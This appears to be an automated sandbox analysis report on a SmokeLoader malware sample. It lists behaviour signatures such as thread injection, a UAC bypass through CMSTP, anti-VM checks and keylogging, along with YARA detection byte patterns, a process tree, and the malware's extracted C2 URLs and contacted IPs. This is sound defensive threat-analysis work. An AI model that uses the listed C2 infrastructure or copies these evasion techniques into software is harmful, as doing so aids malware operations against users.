Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	756294
MD5:	1cf06beb83d2bd1afd1b9b62994e7549
SHA1:	88bd7da7668fb669b5503696ee0a9c0f2dbeceb7
SHA256:	4dc0de570728f75f844c7afb84ac6c809ef4620dac3b12a884ff9916f5b5b0ee
Tags:	exeSmokeLoader
Infos:

Detection

SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected UAC Bypass using CMSTP

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Malicious sample detected (through community Yara rule)

Detected unpacking (overwrites its own PE header)

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Maps a DLL or memory area into another process

Machine Learning detection for sample

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Deletes itself after installation

Tries to detect virtualization through RDTSC time measurements

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Checks if the current machine is a virtual machine (disk enumeration)

Uses 32bit PE files

Yara signature match

Antivirus or Machine Learning detection for unpacked file

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to call native functions

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

AV process strings found (often used to terminate AV products)

Extensive use of GetProcAddress (often used to hide API calls)

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Yara detected Keylogger Generic

Launches processes in debugging mode, may be used to hinder debugging

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries disk information (often used to detect virtual machines)

Uses Microsoft's Enhanced Cryptographic Provider

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

file.exe (PID: 5200 cmdline: C:\Users\user\Desktop\file.exe MD5: 1CF06BEB83D2BD1AFD1B9B62994E7549)

explorer.exe (PID: 3452 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

ADCA.exe (PID: 1432 cmdline: C:\Users\user\AppData\Local\Temp\ADCA.exe MD5: 2479739C5D062ECB325147623241F007)

rundll32.exe (PID: 4912 cmdline: C:\Windows\system32\rundll32.exe C:\Users\user\AppData\Local\Temp\Serpodtudpwhhta.dll,start MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

WerFault.exe (PID: 4872 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4912 -s 688 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WerFault.exe (PID: 3808 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4912 -s 688 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

5AF.exe (PID: 5580 cmdline: C:\Users\user\AppData\Local\Temp\5AF.exe MD5: C81AB83835C2669DBE57C43DB54571B7)

dfhwrav (PID: 5440 cmdline: C:\Users\user\AppData\Roaming\dfhwrav MD5: 1CF06BEB83D2BD1AFD1B9B62994E7549)

5AF.exe (PID: 2388 cmdline: "C:\Users\user\AppData\Local\Temp\5AF.exe" MD5: C81AB83835C2669DBE57C43DB54571B7)

cleanup

Malware Configuration

Threatname: SmokeLoader

{"C2 list": ["http://piratia.su/tmp/", "http://dowe.at/tmp/", "http://xisac.com/tmp/", "http://newhorizonswv.com/tmp/", "http://cracker.biz/tmp/", "http://piratia-life.ru/tmp/"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000010.00000002.491008397.00000000005E9000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xff0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.340150414.0000000002080000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.340150414.0000000002080000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x744:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000009.00000002.385320932.00000000020A1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000009.00000002.385320932.00000000020A1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x344:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.339969412.0000000000509000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x45a8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000016.00000002.521716515.00000000020C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000A.00000002.477294048.00000000025CA000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000009.00000002.385296441.0000000002080000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000009.00000002.385296441.0000000002080000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x744:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000009.00000003.373157026.0000000002080000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000009.00000002.384994661.00000000006D0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000003.247155743.0000000002080000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000016.00000002.517229882.0000000000413000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000001.00000000.327101814.0000000004E61000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000001.00000000.327101814.0000000004E61000.00000020.80000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x344:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000016.00000002.518252636.000000000059E000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1218:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000010.00000002.486093572.0000000000413000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.340103222.0000000002070000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000009.00000002.385082783.00000000006F8000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x49c0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000010.00000002.495741535.0000000002140000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.340254010.00000000020B1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.340254010.00000000020B1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x344:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000A.00000002.503903306.0000000002950000.00000040.00000001.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
Process Memory Space: ADCA.exe PID: 1432	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 20 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.2070e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.2.file.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
9.3.dfhwrav.2080000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
9.2.dfhwrav.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
9.2.dfhwrav.6d0e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.3.file.exe.2080000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
16.2.5AF.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
16.2.5AF.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x10000:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x100a0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x10170:$s2: Elevation:Administrator!new:
22.2.5AF.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
22.2.5AF.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x10000:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x100a0:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x10170:$s2: Elevation:Administrator!new:
Click to see the 5 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 33%

Perma Link

Antivirus detection for URL or domain

Source: http://piratia.su/tmp/	URL Reputation: Label: malware
Source: http://piratia.su/tmp/	URL Reputation: Label: malware

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\dfhwrav	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\5AF.exe	Joe Sandbox ML: detected

Source: 22.2.5AF.exe.23be12c.2.unpack

Avira: Label: TR/Patched.Ren.Gen7

Source: 00000000.00000002.340150414.0000000002080000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: SmokeLoader {"C2 list": ["http://piratia.su/tmp/", "http://dowe.at/tmp/", "http://xisac.com/tmp/", "http://newhorizonswv.com/tmp/", "http://cracker.biz/tmp/", "http://piratia-life.ru/tmp/"]}

Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: 10_2_00878884 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	10_2_00878884
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: 10_2_00881940 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptDeriveKey,CryptDecrypt,CryptDestroyKey,CryptReleaseContext,	10_2_00881940
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: 10_2_0087885C CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,	10_2_0087885C
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: 10_2_008799FF CryptDestroyHash,	10_2_008799FF
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: 10_2_0087A511 CryptReleaseContext,	10_2_0087A511
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: 10_2_00884967 CryptReleaseContext,	10_2_00884967
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: 10_2_00883F6C CryptDestroyHash,	10_2_00883F6C

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 16.2.5AF.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.5AF.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.517229882.0000000000413000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.486093572.0000000000413000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Unpacked PE file: 10.2.ADCA.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\5AF.exe	Unpacked PE file: 16.2.5AF.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\5AF.exe	Unpacked PE file: 22.2.5AF.exe.400000.0.unpack

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 5.135.247.111:443 -> 192.168.2.6:49739 version: TLS 1.2

Source:	Binary string: setupapi.pdbf source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000013.00000003.527754656.0000000004961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sfc_os.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb source: 5AF.exe, 00000016.00000002.637978186.0000000004BA6000.00000004.00000800.00020000.00000000.sdmp, 5AF.exe, 00000016.00000002.522529716.00000000023B8000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000013.00000003.527754656.0000000004961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000013.00000003.527754656.0000000004961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: cryptbase.pdbD source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\dohaf\kaxidin\wukoni\wefof\nojeyuve jucahazetozep zisasime.pdb0f source: 5AF.exe, 00000010.00000000.456599162.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, 5AF.exe, 00000016.00000000.482478776.0000000000401000.00000020.00000001.01000000.0000000B.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000013.00000003.527754656.0000000004961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msctf.pdby source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: comctl32v582.pdbB source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wsspicli.pdb6 source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000013.00000003.527754656.0000000004961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: fltLib.pdbR source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000013.00000003.527754656.0000000004961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: mpr.pdb source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mpr.pdbA source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000013.00000003.527754656.0000000004961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: sechost.pdb0 source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: setupapi.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: imagehlp.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wUxTheme.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Qrundll32.pdb source: WerFault.exe, 00000013.00000003.506255817.0000000004740000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000013.00000003.489353790.000000000473F000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000013.00000003.494807738.000000000473F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: Qrundll32.pdb^t source: WerFault.exe, 00000013.00000003.527460296.0000000004740000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000013.00000003.527287787.0000000004740000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: shcore.pdbk source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\omtnkdoj\bnwv\yogisfk\cqf.pdb source: 5AF.exe, 00000010.00000002.485930859.0000000000410000.00000040.00000001.01000000.0000000B.sdmp, 5AF.exe, 00000016.00000002.517131758.0000000000410000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: C:\xehalulomuto\5\wacewatolere ciralameko_sunumeginupah\kupuwu.pdb source: ADCA.exe, 0000000A.00000000.410105733.0000000000401000.00000020.00000001.01000000.00000008.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb source: 5AF.exe, 00000016.00000002.637978186.0000000004BA6000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: winspool.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: iphlpapi.pdbz source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000013.00000003.527754656.0000000004961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: shell32.pdbk source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: combase.pdbt source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 5C:\xehalulomuto\5\wacewatolere ciralameko_sunumeginupah\kupuwu.pdb0f source: ADCA.exe, 0000000A.00000000.410105733.0000000000401000.00000020.00000001.01000000.00000008.sdmp
Source:	Binary string: propsys.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cfgmgr32.pdbk source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ucrtbase.pdbk source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msctf.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\yepiro_lafonu\vekamogudit62\deney\jef.pdb source: file.exe, 00000000.00000000.243494837.0000000000401000.00000020.00000001.01000000.00000003.sdmp, dfhwrav, 00000009.00000000.369163815.0000000000401000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: version.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: AcLayers.pdb source: WerFault.exe, 00000013.00000003.527754656.0000000004961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: propsys.pdb` source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sfc.pdbB source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: oleaut32.pdbl source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: IC:\yepiro_lafonu\vekamogudit62\deney\jef.pdb0f source: file.exe, 00000000.00000000.243494837.0000000000401000.00000020.00000001.01000000.00000003.sdmp, dfhwrav, 00000009.00000000.369163815.0000000000401000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: advapi32.pdbJ source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: netapi32.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: comctl32v582.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb/; source: 5AF.exe, 00000016.00000002.637978186.0000000004BA6000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb/; source: 5AF.exe, 00000016.00000002.637978186.0000000004BA6000.00000004.00000800.00020000.00000000.sdmp, 5AF.exe, 00000016.00000002.522529716.00000000023B8000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: rundll32.pdb source: WerFault.exe, 00000013.00000003.527754656.0000000004961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: oleaut32.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sfc.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: powrprof.pdbX source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000013.00000003.527754656.0000000004961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\dohaf\kaxidin\wukoni\wefof\nojeyuve jucahazetozep zisasime.pdb source: 5AF.exe, 00000010.00000000.456599162.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, 5AF.exe, 00000016.00000000.482478776.0000000000401000.00000020.00000001.01000000.0000000B.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000013.00000003.527754656.0000000004961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: profapi.pdb^ source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: netutils.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: netapi32.pdbk source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: 10_2_0040D450 FindFirstFileW,FindClose,	10_2_0040D450
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: 10_2_004235B0 FindFirstFileW,FindClose,	10_2_004235B0
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: 10_2_0040CE84 GetModuleHandleW,GetProcAddress,FindFirstFileW,FindClose,lstrlenW,lstrlenW,	10_2_0040CE84

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: thepokeway.nl
Source: C:\Windows\explorer.exe	Network Connect: 123.253.32.170 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: dowe.at

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://piratia.su/tmp/
Source: Malware configuration extractor	URLs: http://dowe.at/tmp/
Source: Malware configuration extractor	URLs: http://xisac.com/tmp/
Source: Malware configuration extractor	URLs: http://newhorizonswv.com/tmp/
Source: Malware configuration extractor	URLs: http://cracker.biz/tmp/
Source: Malware configuration extractor	URLs: http://piratia-life.ru/tmp/

Source: Joe Sandbox View

ASN Name: OVHFR OVHFR

Source: Joe Sandbox View

JA3 fingerprint: ce5f3254611a8c095a3d821d44539877

Source: Joe Sandbox View

IP Address: 5.135.247.111 5.135.247.111

Source: global traffic

